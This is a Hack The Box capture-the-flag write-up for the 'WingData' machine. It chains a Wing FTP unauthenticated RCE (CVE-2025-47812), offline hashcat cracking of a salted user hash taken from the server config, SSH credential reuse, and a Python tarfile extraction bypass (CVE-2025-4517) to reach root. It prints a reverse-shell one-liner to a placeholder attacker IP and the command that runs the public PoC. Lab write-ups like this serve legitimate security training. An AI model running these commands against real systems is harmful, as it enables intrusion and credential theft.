HACK THE BOX · PENETRATION TEST REPORT




# WINGDATA

Wing FTP to Root — Two CVEs and a Salted Hash

★ ☆ ☆ ☆ EASY

| 6 | 2 | R00T |
|---|---|---|
| EXPLOIT STAGES | CVES CHAINED | FINAL ACCESS |

**Leandro Ancona**

Offensive Security Practitioner | eJPT Certified
Massafra, Italy

SEL — SENTITI LIBERO

Contents


01 Executive Summary

02 Reconnaissance and Virtual Host Enumeration

03 CVE-2025-47812 — Unauthenticated RCE

04 wingftp to wacky — Hash and Salt

05 User Flag

06 wacky to Root (CVE-2025-4517)

07 Chain Summary and Conclusions

01

# Executive Summary

WingData is an Easy-rated Linux machine whose entire foothold lives on a virtual host invisible without Host-header fuzzing. The `ftp.wingdata.htb` sub-domain runs Wing FTP Server 7.4.3, vulnerable to an unauthenticated RCE. From the service shell a user hash and its salt are extracted from the Wing FTP config and cracked offline, reused for SSH. Root follows from a `sudo`-runnable backup-restore script whose `tarfile` extraction is bypassable on Python 3.12.3 (CVE-2025-4517).

### Attack chain overview

1. Reconnaissance: `ftp.wingdata.htb` → Wing FTP Server 7.4.3.
2. CVE-2025-47812: null-byte + Lua injection → RCE as `wingftp`.
3. User hash + salt from the Wing FTP config → hashcat mode 1410.
4. SSH as `wacky` by credential reuse — user flag captured.
5. `sudo` backup-restore script + CVE-2025-4517 `tarfile` bypass — root captured.

02

# Reconnaissance and Virtual Host Enumeration

```
nmap -Pn -sC -sV -oA nmap_wingdata <TARGET_IP>   # 22/ssh, 80/http -> wingdata.htb
echo "<TARGET_IP> wingdata.htb" | sudo tee -a /etc/hosts
ffuf -u http://<TARGET_IP>/ -H "Host: FUZZ.wingdata.htb" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs <baseline>
# ftp  [Status: 200]
echo "<TARGET_IP> wingdata.htb ftp.wingdata.htb" | sudo tee /etc/hosts
curl -s http://ftp.wingdata.htb/login.html | grep -iE "wing|v7"
```

```
Server: Wing FTP Server(Free Edition)
FTP server software powered by Wing FTP Server v7.4.3
```

**Wing FTP Server Web Client v7.4.3** — the version is the whole game.

03

# CVE-2025-47812 — Unauthenticated RCE

**⚠ CVE-2025-47812 (Critical)**

Wing FTP 7.4.3's login handler writes the username into a Lua session file without sanitising a **null byte** ( `anonymous\x00...` ); the truncation lets injected Lua be evaluated server-side — command execution as the service account, no credentials. Read the public PoC before firing it.

```
nc -lvnp 4444        # terminal 1
git clone https://github.com/4m3rr0r/CVE-2025-47812-poc.git && cd CVE-2025-47812-poc
sed -n '1,60p' *.py
python3 CVE-2025-47812.py -u http://ftp.wingdata.htb \
  -c "bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"
```

```
id
# uid=...(wingftp)
```

04

# wingftp to wacky — Hash and Salt

Wing FTP stores users (with hashes) in its data tree. Extract `wacky`'s hash, then find the salt:

```
# wacky's SHA-256 hash from the Wing FTP user config:
# 32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca
grep -ri salt /opt/wftpserver/Data/ 2>/dev/null
```

```
<EnablePasswordSalting>1</EnablePasswordSalting>
<SaltingString>WingFTP</SaltingString>
```

**⚠ Pitfall**

The first crack attempt used the salt `wacky` (the username) and failed silently — mode 1410 was right, the salt was wrong. The real salt is the literal `WingFTP` from `settings.xml`. Fingerprint the exact scheme ( `SHA256(password + SaltString)` = hashcat **1410**) before concluding a hash is uncrackable.

```
echo "32940def...:WingFTP" > wacky.hash
hashcat -m 1410 wacky.hash /usr/share/wordlists/rockyou.txt
```

```
32940def...:WingFTP:<REDACTED>      Status: Cracked
```

---

05

## User Flag

The password is reused for SSH:

```
ssh wacky@<TARGET_IP>
id        # uid=1001(wacky) gid=1001(wacky)
cat ~/user.txt
```

USER FLAG

<REDACTED>

---

06

## wacky to Root (CVE-2025-4517)

```
sudo -l
```

```
(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
```

The script extracts a tar with `tarfile`. The vulnerable core:

```
with tarfile.open(backup_path, "r") as tar:
    tar.extractall(path=staging_dir, filter="data")
```

**⚠ CVE-2025-4517 (Critical)**

`filter="data"` (PEP 706) was introduced to *prevent* path traversal and external symlinks on extraction — but on Python **3.12.3** it is bypassable. A crafted tar (a symlink chain) escapes the staging directory, and because the script runs as root, it writes an arbitrary root-owned file. The backups directory is group-writable by `wacky` ( `drwxrwx--- root wacky` ), so the malicious tar can be dropped; the archive must be named `backup_<num>.tar` (the help text points at the wrong directory — trust `BACKUP_BASE_DIR` in the code).

```
/usr/local/bin/python3 --version      # 3.12.3 — vulnerable (patched in 3.12.11)
# build a symlink-chain tar named backup_<num>.tar, run the restore via sudo
cat /root/root.txt
```

ROOT FLAG

<REDACTED>

---

07

## Chain Summary and Conclusions

| # | STAGE | TECHNIQUE | RESULT |
|---|---|---|---|
| 1 | Reconnaissance | Vhost fuzzing | `ftp.wingdata.htb` (Wing FTP 7.4.3) |
| 2 | Initial access | CVE-2025-47812 unauth RCE | Shell as `wingftp` |
| 3 | Credential extraction | Config hash + salt | Crackable PBKDF/SHA hash |
| 4 | Offline cracking | hashcat mode 1410 | Cleartext password |
| 5 | User access | SSH credential reuse | User flag |
| 6 | Privilege escalation | CVE-2025-4517 `tarfile` bypass | Root flag |

### Closing thoughts

WingData is pinned entirely by versions: `7.4.3` chose CVE-2025-47812 and `3.12.3` chose CVE-2025-4517. The craft is in between — fingerprinting the hash scheme (the literal `WingFTP` salt, not the username) is what made an "uncrackable" hash fall, and reading the restore script's source corrected the misleading usage text.

### Key takeaways

- Fuzz for the vhost the main site hides; the brochure site was a decoy.
- The version is the whole game — read it before reaching for an exploit.
- Fingerprint the hash scheme before cracking — the wrong salt looks identical to an uncrackable hash.
- A sudo-run extractor is an arbitrary-write primitive, even with the hardened `data` filter.
- Trust the code over the help text.

---

*Writeup by Leandro Ancona — Offensive Security Practitioner, eJPT Certified.*